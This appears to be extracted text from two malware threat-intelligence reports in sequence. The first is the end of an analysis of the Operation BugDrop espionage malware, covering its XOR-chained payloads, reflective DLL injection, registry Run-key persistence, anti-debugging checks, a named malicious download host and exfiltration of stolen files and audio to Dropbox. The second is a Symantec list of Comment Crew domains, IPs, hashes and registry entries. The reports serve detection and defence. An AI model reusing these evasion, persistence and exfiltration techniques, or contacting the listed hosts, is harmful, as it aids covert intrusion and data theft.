Dropper icon 6/11 Russian social media site from where icon for dropper EXE was obtained The dropper has 2 DLLs stored in its resources they are XORed in such way that the current byte is XORed with the previous byte.
This technique is much better than just plain XOR because it results in a byte distribution that doesnt look like a normal Portable Executable (PE) file loader.
This helps obfuscate the file so that it will not be detected by anti-virus systems.
The DLLs are extracted into the app data folder: USERPROFILE\AppData\Roaming\Microsoft\VSA\.nlp  Stage 1 USERPROFILE\AppData\Roaming\Microsoft\Protect\.nlp.hist  Stage 2 The first stage is executed and the DLL is loaded using Reflective DLL Injection.
4.
Dropper  Stage 1  Achieving Persistency Internal name: loadCryptRunner.dll Compiled: Mon Dec 12 10:09:15 2016 7/11 https://attack.mitre.org/wiki/Technique/T1055 Responsible for persistency and executing the downloader DLL, the Stage 1 Dropper registers itself in the registry under the key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\drvpath RUNDLL32 USERPROFILE\AppData\Roaming\Microsoft\VSA\klnihw22.nlp, RUNNER The communication DLL is also loaded using Reflective DLL Injection.
5.
Dropper  Stage 2  Downloader for Main Module Internal name: esmina.dll Compiled: Mon Oct 10 14:47:28 2016 The main purpose of this DLL is to download the main module The main module is hosted on a free web hosting site with the following URL: windows-problem-reporting.site88.net [Note: Do not visit this malicious site.]
We were unable to find any information about this URL in public data sources.
Attempting to directly access the URL leads to an HTTP/1.1 404 Not Found message.
It appear as if downloading the module requires manual approval, indicating the need for a human analyst or handler in the loop.
The main module is then downloaded and loaded into memory using Reflective DLL Injection.
6.
Main Module The main module downloads the various data-stealing plugins assigned to each victim, and executes them.
It also collects locally-stored stolen data and uploads it to Dropbox.
The main module incorporates a number of anti-Reverse Engineering (RE) techniques: Checks if a debugger is present.
Checks if process is running in a virtualized environment.
Checks if ProcessExplorer is running.
ProcessExplorer is used to identify malware hiding inside a legitimate process as a DLL, which occurs as a result of DLL injection.
Checks to see if WireShark is running.
WireShark can be used to identify malicious traffic originating on your computer.
It registers itself in the registry under the key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\hlpAsist RUNDLL32 USERPROFILE\AppData\Roaming\Microsoft\MSDN\iodonk18.dll, IDLE 7.
Dropbox Mechanisms 8/11 https://www.microsoft.com/security/sir/strategy/default.aspxmalwarecleaning_explorer https://www.quora.com/How-can-I-use-Wireshark-to-detect-malicious-connections-on-my-computer There are 3 directories on the server: obx  Contains modules used by the main module ibx  Contains exfiltrated output uploaded by the plugins rbx- Contains basic information about the connected client After the stored data is retrieved by the attackers, it is deleted from the Dropbox account.
The Dropbox user that registered the account has the following details: Name: P Email: Pmail.ru 8.
Encryption Mechanisms The data-stealing plugins store all their output in: USERPROFILE\AppData\Roaming\Media Before being sent to Dropbox by the main module, the files are encrypted with Blowfish.
The Blowfish encryption key is the client ID.
9.
Data-Stealing Plugins File Collector: Searches for variety of file types that are stored locally or on shared drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt) .
Files are uploaded on-demand.
USB File Collector: Searches for variety of file types on USB drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt).
Browser Data Collector: Used to steal passwords and other sensitive information stored in browsers.
Microphone: Captures audio conversations.
Computer Info Collector: Collects data about the client such as Windows OS version, computer name, user name, IP address, MAC address, antivirus software, etc.
Not all of the plugins are downloaded to every target.
Each module has a unique extension which is the client ID.
This is how the main module knows which modules should be downloaded to a particular target.
Conclusions 1) Operation BugDrop was a cyber-reconnaissance mission its goal was to gather intelligence about targets in various domains including critical infrastructure, media, and scientific research.
We have no evidence that any damage or harm has occurred from this operation, however identifying, locating and performing reconnaissance on targets is usually the first phase of operations with broader objectives.
2) Skilled hackers with substantial financial resources carried out Operation BugDrop.
Given the amount of data analysis that needed to be done on daily basis, we believe BugDrop was heavily staffed.
Given the sophistication of the code and how well the operation was executed, we have concluded that those carrying it out have previous field experience.
While we are comfortable assigning nation-state level capabilities to this operation, we have no forensic evidence that links BugDrop to a specific nation-state or group.
Attribution is notoriously difficult, with the added difficulty that skilled hackers can easily fake clues or evidence to throw people off their tail.
3) Private and public sector organizations need to continuously monitor their IT and OT networks for anomalous activities indicating theyve been compromised.
Fortunately, new algorithmic technologies like behavioral analytics are now available to rapidly identify unusual or unauthorized activities with minimal false positives, especially when 9/11 https://en.wikipedia.org/wiki/Blowfish_(cipher) combined with actionable threat intelligence.
Organizations also need deep forensics to identify the scope and impact of a breach, as well as an enterprise-wide incident response plan that can be carried out quickly and at scale.
Appendix Hashes (SHA-256) Decoy Document: 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a Dropper: f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd Plugins Screenshot Collector: 7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326 7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92a Keylogger: fc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67 943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539 bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78 6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937 01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f File Collector 06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54 24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6 a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c USB File Collector: a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2 07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29 3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000 Browser Data Collector: fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1 966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d 296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c 61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166 cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75 Microphone: 1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50 912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db 691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6 Computer Info Collector: c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7 10/11 5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311 11/11 Operation BugDrop: CyberX Discovers Large-Scale Cyber-Reconnaissance Operation Targeting Ukrainian Organizations Operation BugDrop: Targets How CyberX Investigated Operation BugDrop Distribution of Targets by Geography Compilation Dates Technical Details Conclusions Appendix  Hashes (SHA-256)
Security Response  February 22, 2013  Copyright  2013 Symantec Page 1 Comment Crew: Indictors of Compromise Document Title here Comment Crew: Indicators of Compromise Security Response Security Response  February 22, 2013  Copyright  2013 Symantec Page 2 Comment Crew: Indictors of Compromise Document Title here Introduction This document contains additional Comment Crew indicators of compromise that were seen in the past year.
See our accompanying blog for more information.
This document details the following types of indictors: Network File System Email The contents of this document are indicators only and may match legitimate services or applications.
Additional verification is required to confirm an actual compromise.
http://www.symantec.com/connect/blogs/apt1-additional-comment-crew-indicators-compromise Security Response  February 22, 2013  Copyright  2013 Symantec Page 3 Comment Crew: Indictors of Compromise Document Title here Network indicators Network based indications of possible compromise by the comment crew attackers.
HTTP POST traffic containing nameGeorgeBushuserid4 digit numberother HTTP GET traffic to pages with paths: aspnet_client/report.asp Resource/device_Tr.asp images/device_index.asp news/media/info.html backsangho.jpg addCats.asp SmartNav.jpg nblogo2.jpg Domains GT446.ezua.
COM aunewsonline.com avvmail.com cas.ibooks.tk cas.m-e.org.ru colville.com cvba.com deebeedesigns.ca dev.teamattire.com doversolutions.co.in download.epac.to drgeorges.com dril-quip.deltae.com.br dsds.co.kr [REMOVED].ruok.org engineer.lflinkup.org exactearth.info.tm fbrshop.com firebirdonline.com forceoptions.net freelanceindy.com ftp.xmahone.ocry.com garyhart.com gobroadreach.com hint.happyforever.com hojutsu.com imly.org interradiology.com jimnaugle.com Security Response  February 22, 2013  Copyright  2013 Symantec Page 4 Comment Crew: Indictors of Compromise Document Title here kayauto.net keenathomas.com ks.utworld.ch mast.zyns.com media.conci.com.au media.finanstalk.ru media.metdf.com.au meeting.toh.info mountainvalley.americanunfinished.com mrswehrman.com mwa.net news.hqrls.com odysseus.qs-va.orbcomm.net ohb-technology.brgh.de omegalogos.org pastorsrest.com portal.itsaol.com progammerli.com rbaparts.com report.crabdance.com [REMOVED].photo-frame.com route.cisco.ns01.info shunleewest.com slowblog.com smilecare.com software.myftp.info soko.com tcw.homier.com [REMOVED]comminc.us.to [REMOVED].arnotex.com thecrownsgolf.org [REMOVED].alfalcons.com twocirclesmusic.com un.linuxd.org update.sektori.org us.gnpes.org vwrm.com woodagency.com worldnews.kickingdruging.toythieves.com Internet protocol addresses 140.116.70.8 143.89.35.7 143.89.35.7 150.176.164.6 202.105.39.39 202.39.61.136 202.6.235.83 203.200.205.245 204.111.73.150 Security Response  February 22, 2013  Copyright  2013 Symantec Page 5 Comment Crew: Indictors of Compromise Document Title here 209.124.51.194 209.124.51.219 209.161.249.125 209.208.114.83 209.233.16.84 209.253.17.229 211.232.57.235 212.130.19.154 218.232.66.12 218.233.206.2 218.234.17.30 24.73.192.154 46.149.18.151 60.248.52.95 61.219.67.1 63.192.38.11 64.80.153.108 65.105.157.228 65.110.1.32 65.114.195.226 65.89.173.68 66.151.16.30 66.155.114.145 66.170.3.43 66.228.132.53 66.228.132.8 68.17.104.162 68.96.31.136 69.20.5.219 69.25.50.10 69.28.168.10 69.74.43.87 69.90.123.6 69.90.18.22 69.90.18.23 70.108.241.36 70.62.232.98 74.86.197.56 74.93.92.50 78.95.63.1 Security Response  February 22, 2013  Copyright  2013 Symantec Page 6 Comment Crew: Indictors of Compromise Document Title here File indicators File based indications of possible compromise by the comment crew attackers.
Filenames and locations: TEMP\AdobeARM.exe TEMP\iTunesHelper.exe PROGRAMS\Startup\AdobeRe.exe rouj.exe USERPROFILE\Local Settings\iexplore.exe USERAPPDATA\Microsoft\wuauclt.exe PROGRAMS\Startup\adobeup.exe TEMP\AdobeUpdater.exe NTLMSVC.DLL PROGRAMS\Startup\adobe_sl.lnk TEMP\runinfo.exe File version Info: Product: SoundMAX service agent Description: Microsoft NTLM Service Holder Product  Description: JpgAsp File MD5 hashes: 00b61db083b07a64fb6072b42aa83dc1 0136ab6d2e507d4e63990b196121d41c 017c03ad61f89ee6597ead40cc552aef 019cb1a6776f0e0d353814711e9e171b 02043566d027445374a1f7f0fc35d495 025dc68c8e06d6488e338dcc55b295eb 026c1532db8125fbae0e6aa1f4033f42 02c9a3c3efd52e43dbf53e0995a7a24e 051caf12c36662d946fd0146cd199db5 05269f5236bd89b66f6f4694abef6222 05c63c450d4d2aeb23053a6b6f8275b0 05df8d890eb18614a7d206b41453d306 086e91fa95136ad1d814cac327543bf9 08ac41ce00bf436a3dc23c4639d5f5ed 0925fb0f4c06f8b2df86508745dbacb1 09a6d5b54e8c48ed33189ebf80df750d 09c0f3a3099b6b38ec36d001361edd98 0a98bfa4bef1eb755c9c154963b69dc8 0aa4e635a61038a621d9264e33b4bc3f 0b33a683812124d99de45c8e84dc9013 0b6755e61840378952d69630b5c23e41 0c6f8665dd18d5e86124c7bfbf3207f0 0cdfea216d117cc97845edb9becaa498 0d335de3c082627cd0c5699aa6012b7d Security Response  February 22, 2013  Copyright  2013 Symantec Page 7 Comment Crew: Indictors of Compromise Document Title here 0f1dd1bef76967a6b06a5e0432ca947b 0f4432d54b28aafc976b5950d5337a5f 1285ff3c3a4089b43c275220d0c54442 1286c678b3a821dec8c8cc1125bd2bc0 12c64a64ae32fd3dff75347dde2aafac 13eb87290affe1360834037d9d400b39 1475f178b6a86d3922b3e2c6fc59512d 14d17aaa3016a618a3ede92511fdd339 16710c96d5ee6554bae6b881d9e136bd 17173efe0062114d2f993c7584520c1a 18575542dc4e9aa5aa8eeda14c26e46a 18a3bf5d8336f075ba503622880b5025 19bc509f31f33a8f473ef9d671c1828b 1b517ea2aae0ed0a71f6e74e34e860e1 1bc363e4ad9fc3be4953dd3eaa2bdb76 1d1e2c7bb5a9fa546a6b0ae3c308db61 1d69504a3d3ac32275fa4df8af25d1f7 1ee30f7ecaf25af38cf684ca56b75cf2 1f9cf9f1b5738198674a58a378b0d7e1 218bbd007898e6b6fc754fe5c76668fc 21ed762e867cdabbb194aba878530c88 22e10cbe46f406f5f1be0d613db4c2c3 241e8465fd4d99a3f446d7f75957522b 24be0dd53bb43bb6cd08044b21a6aaaa 2500494616f4e7e1fa14fb3a46f468a7 255b1aaff69668ac19906219d36c607c 271dad1471efd9bfc1a9dc05d6c30a24 27fb01f7b3137921126ba086da4e6a2c 280531bb85998ff3dc7eb8d057525ffe 2997ec540932ea6b1fe0cab555b939d8 299ca1f787d2340d34407ef084845260 2a3aca1b002c6894c5edcc5e25a8f970 2b3faf2856c220aa8b87632ac8bbd1a5 2c4cabb4ca19ddf87c7f11bad44bdf05 2cf5b5a9333d159b664725811465d1a3 2d0318507bc4c1958913b31009de37f8 2dbbadc147f11f2a856a648cdc332c0e 2e7a8e7e9d8d62c94d011e86de9cb12a 2f37912e7cb6e5c478e6dc3d0e381a24 2f6c8da1c5f397bea7b300d28b3ad4ba 2f7918548b0aa59f23a1c16aa98e058b 30e81a30471c8f63b4688533252b56fa 320b4bd876004c1f0455f6f48b07e164 32e474b21555d3946970c73648d88b36 33a03ca462cec85e33dba0a1dcb9aee0 356e11813fed7623a77610e836bcab65 3599a78c7e99b451c00d3490f17f842f 35ae79bbe9f560b9634ce28b6569bd0f 35ed31733fbd7eeb4bfcc29e28a8496f 36ca00585d13d6911f086f0d2d496f96 370947e6c802d21a732ac0cc024c4fcf 37b1e5809dd5a92a1d73f0e36af6791e 399c41047abd99b6e86d04b7dd444509 3b266b165468b810cd456cdf88ca8619 3b6a1f6ad4b8141b1aed8644d789706f Security Response  February 22, 2013  Copyright  2013 Symantec Page 8 Comment Crew: Indictors of Compromise Document Title here 3b8ada8eda04f204164449a0fec0c296 3b9cc9e174ad19380efef2744b7ff046 3c058ca758f97cd2ae56df8a08f6a5a3 3c9aa6dc8c4501ffa2798f044df53438 3ce55c6994101faec00b5b7c2fee494f 3d41375ee362f4265ea2e90b9a08f0dd 3f637c1477442d92962be4ed427bb1cd 3f9e63ee4ae254778c69369fedf0d999 3fb6039a572369d8d23fb99987ea21a9 3fc2aa493492e6d7560ac8a5d69d7cbd 3fecd601404abda8f793ff5cc7ecf973 41998b32ab11e474b167edf9dbb59b12 4248d33b4273a80d11d6b3b6297851eb 4287353240e4e473e940a9289a48a333 42acd0ed699d94602a0494f65a328615 431f635eb68b936182d73bf6db06fc97 43e128cfd0080a644e4ce98f84e29e8e 43f3a0a82397400a181c080992d35a5b 4602735e4a8754ff7f5a8785f9fd336a 467b90773754e35e1535a164140be005 46b3b305530fb68f7a88b8453e4866ea 4890bf4c2d68657969e1cd11e0ae2648 4899aa64923115886dd7cff5fff5ea1c 491db327f479a1a34898229811fa8a5d 49cc5f649e9098530ceeb2ea45346a9d 4b03db464b22536f700c99c3bd36e9e2 4c136f1fbd9d7010369ae5644a8af4b0 4cd5a29a7fc904aaaccbca9e30e0a865 4cdfb56105b07f463d046fb425567cb0 4ce22cee6abcb37db757e3fd60970090 4dc2bcad31fb36f0913e441deeda8121 4e5ed120295d9937de106fc703e64732 4f13bd1db43e54d2cd2427a87ddb8e22 507fa8a735417219d6b881834f660cb2 5084ddfb90791516015c02c68d58fe5d 5106b19a9a29f0228782e0cafcd1cc2e 516c2981f3506ede7608ef2f273c6aed 534b3650b350b503e0f0f3bb6dd7598c 53d1e354104d5fc028d83aa519c1d1c6 551aa0ab2b40fa7d891664caf0da879b 5621ed9c3b844654141c1a5ea7ca8c0d 578dbadaa5086e24d576328b7d4fedba 57bc1531a12179c5794d5c99b8442eba 582207d1f939f80bacc36a7790f40dc8 582e827a539b6243f1c90b720fc143a4 5aea3a20553a07fa50c4e815cf9ba7ff 5afdb5db234a1a13f5449be25f114999 5ba8c4ef080e61310943fcb3c68bf002 5bdb1b2313541f4cdc967391a4d150f4 5c43e4ac0a6ad74844b2a310f1abc1c7 5ca21c7986db58d44306e94f1ea6ae5c 5d1d18c697eefb03e120d9ef3f53dd28 5e8d1334238dfaf5f11d7f2186989095 5fee0adbac53eee82626daa5c5f99aba 607b46c73adb9a8bf03f5cd038871347 Security Response  February 22, 2013  Copyright  2013 Symantec Page 9 Comment Crew: Indictors of Compromise Document Title here 628e4933864d3f712670658a93d11113 62ccc75782d657850b85456ab48f2277 633d92d13c2e8330cb4a3bc5130ab84f 640a64136516298ca80490d75a365695 640fbb5f8938ea45204de6496240f82a 6414217bafb6f4c058773b0134e56e99 64b865afdc34091a9c02700adeea5853 655d1322795ed9532390ccf2e8f726f8 659300af2f7c9e76f55464b21784a7f6 659fb07c70034571de7a1b4b5ac86b01 66060b82f299c14e18b65d21d277a49e 668731574fa9ad7567fb4854805a3fb2 66e4538702381035dc62247080d4593f 6757128a636e2c509861d4f75ff128f1 67a8b964857fe499b62442308a767e94 6827e494a230a1483e19c205c532df17 685e10f1393eaee470224b7fe1359202 688ba2b3739ad54dee4139a727e457cc 6981364b6f1142363c151b11da66cc98 6993ed604acd3e17a7bafcfdc2b27898 6a0280f169d233a0bdc81ee6a70ef817 6b8585ffbdf90c9b120ac1a79fa4dc51 6bc6bacbbbacf369fea145d9044bd863 6c5b2712a66db42b960aef5b87590033 6e67fc27a49769f5218824d405d8fce5 6f1c70d77e2571fe8a402aa1a8b7e8cd 6fd6aa2a4038903ed6d8e5771689f7c1 700941e4fa44941b18844c9bfb3474dc 70320b5c719c70c860a55cec7ef173e8 709d6eff31854fad212f83a91a900920 70fef3c8073e97980b60b4ad8388ab5d 716978305d76e1e458c480d80f24caca 718179479dd9bd93beae66665e452c87 718fcf2a80348110f519a000854e9e0e 71de04a952f8c09243c15a7fa5371073 71fd3ea6c3e7e2f1eba9d7e911b1cffe 7228ac8f341f6ecaff45c8163f421f14 76000c77ea9a214f5b2ae8cc387809db 7715864443576c824cdc9f39ffacd9dc 7b81fa4334cf0e520269f5484fef9fca 7bcdd0e5996e849d1068fcffdec81371 7bee4b7d948433a58b18d2189d480a29 7cd15bb31ff889e81f370d0535e02493 7d00ea1262125b2b0469dd639b810823 7d101cc3b87ac51c0c1ca8a4371bc84a 7d21e2b1b293f4176ba1d8abc2460328 7e75928b5ce3dd41c9b9b1e67cff16d6 7f7cc1a8d7a6bbe6a52c94bb7f41f727 7f90942ace185ca1ba5610f6eddf3376 8027234685f88f3b74c45b245c841843 802a3965e42e75cc3dcd5f5523929859 80ba5a336a4044c1406774d56e130e7e 80c58de2dbd1571228b538c9556cd29d 824bee27f10d5c81879657c8a2af9f0c 82c598abdf848c6fef03c63f5cf7feaf Security Response  February 22, 2013  Copyright  2013 Symantec Page 10 Comment Crew: Indictors of Compromise Document Title here 834a274599aed64959b3b2bfe931af4c 83cdbc9aa1907d55dda3e28149e897cc 83d45d80682afa9b2526029b2bc2fb33 850ac92dfa39f2391addc2d888c62ef8 8548dd501aaf132b134aa3849e15d2aa 85873c12599490a0f7db691b0c5179ae 860d5840c3b1a750d8c4e6bc68ecfbab 867d80bc1c369ca7ee429c727d2c5fea 875cb4844bc03f6da7a60553632c7678 888eadff6982de01c60891ce185473b7 88c0e5a4ca408ac12acaaf7a9ef9eb49 894ef915af830f38499d498342fdd8db 8a413af90665ca7909bcdcf19cd566ed 8ac64b904c188ef6b73dbc5073cee1a9 8b69f0a948c32288f3fab4ed2845cb1b 8ba366ef5ecd802c82289dcea22b2146 8c148fe80ae705af284b92f1c283013a 8c3a791ce682e3c5da5bcfbce261eeaa 8c76de0a8ac79536b96619613960681c 8d3a6b78118b647a7f31f06a46c27fd4 8dc7eb49fe1fbf490f90c153a71c60a5 8e2e709c01ccb286c51ac9e592eea48a 8e53ad954f05d2c3f57b19b1ecb0fea0 8f8e948a2f9afd7ece6dc6603cfbd56a 8fbbf38c053dbb0da3dd2fd6af4869d2 905d5cd372fb22dd5f9804adb2d2787b 9157d078effa4b727180c40bedb74ef6 920dffe40787f1f3fdb24548b4a210db 92785f445f366ed548388b1af6b01f9c 9327f1eefb18fde7f622fc2efbbbdb4b 939e07685fec28a15f88786b097bb14b 9400950fa381ba1750c914fa9e6fd85e 942b1ca8c3c64be1e4c40e26c9e39ad8 962c52436706b5c226894de0436b860e 96ee5acbe155f37ff1604b4fd259e55f 96f31d6fda587b43887e846876e5c399 975c718bf93ca5d0693bb0d4c7e42d1e 99b58e416c5e8e0bcdcd39ba417a08ed 9a58902740c5b73eb6a68a126ac6ac55 9a847c1f54359ffd3c335e97600f6f5d 9aca099f7cd3b3b29551b67af48467d1 9be590614e2407dc144ad6c100a2873a 9bf4683c09a2d60294ff79ce026f4e64 9cc15358d6ce18150dbee6be3281151d 9cd1e3b67540bdc2fc4a3835e170bc65 9e6b8b265f05302eca455ce8ea10a3aa 9fcb233ee18df6c19b1ad3922dd41a2a 9fd0e94fce1543b75b44414a61b252b0 a01ea69e4c10721ec088676cef67d8bd a19e68e72084d867a39776faaa6f5fce a1fa946523928c16340cf40daa2ffb53 a26a85c33ddf57d720040629931be174 a4847e655c817e3c5112e888a2877f4d a4d476fb7b084bd01a847ab7e0d839b5 a55f6c8b795ccdc469b9b67b22ddc88b Security Response  February 22, 2013  Copyright  2013 Symantec Page 11 Comment Crew: Indictors of Compromise Document Title here a637ea307380ba21a355c3cffd37639a a6cba31fcca49ff9ed6fd9894644de9e a76f0fada1602e9c119cba24306442b4 a98d2c90b9494fc885c7cd35d43666ea a9c20499d43f9674cc37dbfa81381203 a9d2caa6ebbfd5be071748e59e754cf4 a9e0a604e5b8ed5f4f286c3355d7a0fb aaa01f776acabdf9f07ea3eaff1695d6 ac2b219ede57f9d14cdce38e987862aa ac9e0b2af215821f7223b6eaeaea03db ad95f613fc4b644bd5e3230eb0b5dbcc adb97252b05a6e82697bf93c347bdf25 aea5dc22e706c836d056f4ba1f13dea3 af285fa9a141f422b8ccbfb4e9a00054 b18cabead7248e8156230c71399b79c9 b19ef1134f54b4021f99cc45ae1bc270 b1c540b4b9c8a87a1e87a76ed289f18d b2784e4dc6e602d9d6bf09325bba8c4e b29556856203049b9e7b05e01f5ae73f b3056919871fc01a1ed3294e2014e0c4 b41c02eb41070e0a2e459abf2fc39b69 b44cd1fa5d8beb08519bbe0c1d796b0f b457372a87597b746ce69e05c4a7d3fa b653012d2bfa4e3419d97eb9f2e5ed4a b665ea35f8f7954657eed1e54517843d b68eadb2a8069c7e88535e1ebfb4be0a b8c83b3549ebb24b3e00dd23c2aa050a b8f77674d292d205f8f5cf6c3f3c34df b8fdf06f78341581870477574e2b08c3 b921e0d11127af9613804c63cddd86ca b9367aba4f267b82a838223df016bd6b b96b79f4f1b4306ac2c63fc988305fb0 ba700e3a83fec3cc984e1fb572aa0add bbb4bdd1d7e8589d145163f1efd458f5 bbbf285e8344f7df330f93c7c3baf27f bbccf8643368c80dd083fb92d67d00be bbdce1e1991f292d366097a743da3724 bcc6addece28265390b2d535d65c49b8 bd6481ed6dfe67ba9f2f8f26e2cee722 bdf512d5eef853d07c0db345345e3db7 be3799da210edb81143d609e66e5b7ff be54e3660bf928b8b5f764f5cdfdc4da bf18ef997b7d589f031f47799a33f27b bf65727accaa53d65c31ed5b582053c5 bf778439895829ff986207900bfcfe02 c1438390098e4dc7bb8b52efcf1d2465 c1919e6f2e05feb9dc9b6ab9f81dcb2f c243a7c1cf23b91f73100bb9e947439e c32696b255bac4b849fc249e56944a91 c376aecf43bf021b6408ca99cd31da01 c5062bbbb15911a63de77a66773874d9 c63cc0a8b0b3a70f7b835a3fff9f02a5 c8607553e37cc1fc870572670c1910f5 c89d4d40e4b68a9952121b62b0dda920 c9570396c897e02ec8aa195c6241f945 Security Response  February 22, 2013  Copyright  2013 Symantec Page 12 Comment Crew: Indictors of Compromise Document Title here c9a32616f89dc953486bd1b5d83359ec c9b4c4d65298dc10be6784d0f0ad8519 c9f19071bac9d4eb3b08b4017c0d9c4d cac3bc3039cd73935051ad8df2e53d34 cb40ff3b3ed8c1966defbe1dafdd1326 cca75af9786d7364866f40b80dddcc5c cd5f3dbea197dc5afb673e42f0e9c3fe cdc0c4fdc649dec017ace0f2898068d0 cec766518fa5b607157e92e9c24c0d03 cf5356cdf42d264d5213cce4cd415f0b cf96139290c09963a32506cd85825ed3 d3174652816010a7f6d8f4523ee3a077 d4036f03c760084cc677edf4ee6c4a39 d46d261ec92daf703cd584f10037198c d5027d35c8bd9e867113bd4a1edb931f d58323fb222b9ff681c0982ba286a296 d6b1989d9c271b8575326e4fca159ae8 d6b198eda724e2b3367502a6a2232939 d6b467c92256094f720e9fc75f149737 d6d5aeb79899485f5734bf8847782266 d6e98d062d7900c6fe9a6d7f0b1d7fec d6ff4333eb1a2305d5b6cf4705213393 d795292ea23217480ad92939daf6dd22 d83055efe66377067ce99d99c706f19a d8f7aaad3677fac1cde911c7362c2b69 d910d21bd54b63ef61b3f250fe73dcc6 da451674bb68804b390bd7413691c91e dab17bcceae6f32eae5d800d0d3f9e46 db6ae6da64f14168b3624e26191277cf db7d3724e5f004168a1a56f6b9de3cd5 dd5aad5d66bc96e5ac60cbe5d132c2ec de5eeb9847a5fbc1a6cbb4cfb8bb6aa0 df53ce3797932d9e62ceaa760a3f0e3e dfaa6250dc947602d5dc200e503f23a5 dff3a274e5fa35013601c7985bf13d56 dff7ac111e48115e208c2649b94b1115 e0b3a0fd042ff50e0de22725864775b8 e1117ec1ea73b6da7f2c051464ad9197 e2494eba419891c0c101af74eb8c029c e2620e1cf89830e8de1e8c4530829a15 e27f0975fd3278e7303102783767c508 e2a557b39231ee91724c150e3ec4b493 e2be37df12f7b98b2b73197d77773263 e4255f51a871a95baa10b6b2c4ed2470 e62bb947d72d12311890f2e07eb6ac8b e6446d52e9f4b5c2c5a9ac850281cae8 e649b8b9e541406446da47d8d0a91385 e6ffb1c6e1508f474a69f091435454ce e85863b1de035814b4b01a2b6c477dd1 e90b037f1cbc79796fd8b1f6382c8483 e93a4f4872bf6cd8c3f0eed6017a8d41 ea823850b777993d636e4a565568f734 ead35eab94820d5a34f185d0b26b7930 ebe291e968eb5a86b4963d27352bc525 eced29c71867e375aed0da408d6b07f4 Security Response  February 22, 2013  Copyright  2013 Symantec Page 13 Comment Crew: Indictors of Compromise Document Title here ed665cf8a48f08f8b4fed8bbf9d2d998 ee998128e20971ca4296a8a73ed79f43 eea7ae4eb726c3e05f187110090adb18 ef10f4f11032d48f7e82c0a788c0f489 efaadcfa4271c50927ab817e0c4a0bc3 f0a00cfd891059b70af96b807e9f9ab8 f15cff24d8a3a9ffce590cc8e69baec9 f1c4b919fdf008a8400189562f5e2fba f29cb80bde4af21c226596e9d125795d f2f2cad79dcfb356db7b2485c7a27f03 f643fa851203e9159c9dc50e4ab8d81e f74ec871c77e4b5e5b2ae0917b1f0f21 f7820d429d3185ad00e6758c343e29ce f82d3b270b16780044817978f4f3fe1a f9d2c3e8f81b9c44a1837478b2a98e5e fb0b900de6d286321fd6d20c6c4f5679 fbb0c14cacc60fdd393fb5889d5a0b57 fc97b89541b149e0dd9937ba876b3ee1 fd130b2bce93caf18bc23f1526daae99 fd31f952637370a30d74c2a65ba8d2cd fd9b5c35c042a6c462187067fb869aac fde5e109bfab33964564f387f8940030 fe568a370aa3d2c78125ab37c16484d1 Security Response  February 22, 2013  Copyright  2013 Symantec Page 14 Comment Crew: Indictors of Compromise Document Title here System indicators System based indications of possible compromise by the comment crew attackers.
Registry entries: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Acroread HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Adobe Update HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeCheck HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeCom HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\IMSCMig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\McUpdate HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Register HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysTray HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\systemupdate HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\wininstaller HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\APVSVC HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdate Service names: aec elpmasym Net CLR Security Response  February 22, 2013  Copyright  2013 Symantec Page 15 Comment Crew: Indictors of Compromise Document Title here Email indicators Email based indications of possible compromise by the comment crew attackers.
